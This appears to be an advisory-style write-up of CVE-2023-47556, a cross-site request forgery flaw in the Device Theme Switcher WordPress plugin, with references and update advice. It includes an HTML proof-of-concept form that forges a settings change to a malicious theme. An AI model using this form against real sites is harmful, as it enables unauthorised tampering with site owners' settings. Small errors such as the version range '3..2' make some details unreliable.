CVE-2023-47556 - Vulnerability Analysis of Cross-Site Request Forgery (CSRF) in James Mehorter Device Theme Switcher (DTS)

The cybersecurity risk in modern web applications is ever increasing. With the frequent discovery of vulnerabilities in popular web apps, it is imperative to keep software up-to-date and secure to protect users and data. One such vulnerability, which has been identified as CVE-2023-47556, exists in James Mehorter's Device Theme Switcher (DTS) plugin. The plugin, which is widely used in thousands of websites, is affected by a Cross-Site Request Forgery (CSRF) vulnerability.

Exploit Details

The vulnerability affects versions of the Device Theme Switcher plugin from N/A through 3..2. CSRF is a security exploit where an attacker can execute malicious actions on a web application on behalf of its user. In the context of DTS, a CSRF attack can allow hackers to successfully change the theme and settings of a user's website without their consent.

The vulnerability exists due to the lack of proper CSRF token implementation within the DTS plugin. The missing tokens make it possible for an attacker to craft a malicious link or webpage that injects unauthorized requests into a user's web application.

Here's a code snippet demonstrating the CSRF vulnerability in the DTS plugin

<h1>CVE-2023-47556 POC</h1>
<form action="https://target_site/wp-admin/options.php"; method="POST" enctype="multipart/form-data">
    <input type="hidden" name="device_theme_switcher_theme_options[active_theme]" value="malicious_theme">
    <input type="hidden" name="option_page" value="theme_options">
    <input type="hidden" name="action" value="update">
    <input type="hidden" name="settings_errors[]" value="device_theme_switcher_settings_updated">

    <input type="submit" value="Update Theme">
</form>

Original References

1. CVE-2023-47556: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-47556
2. NVD (National Vulnerability Database) Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-47556
3. Device Theme Switcher's (DTS) Official Website: http://jamesmehorter.com/device-theme-switcher/

Mitigation

One of the best ways to mitigate this issue is to update the Device Theme Switcher Plugin to the latest version, which should include proper CSRF token protection. If the plugin is not yet patched, website owners should consider disabling it or using an alternative plugin. You can follow these steps to apply the patch/update after having a backup of the current website files:

1. Download the latest version of Plugin: http://jamesmehorter.com/device-theme-switcher/

Conclusion

CSRF vulnerabilities, like the one found in the Device Theme Switcher plugin (CVE-2023-47556), pose serious threats to users and web applications. By staying vigilant and updating to the latest versions of the software, we can avoid falling victim to such attacks. Keep an eye on security news and patch or update regularly to protect your website from attacks. Stay Cybersafe!

Timeline

Published on: 11/18/2023 22:15:08 UTC
Last modified on: 11/24/2023 19:23:37 UTC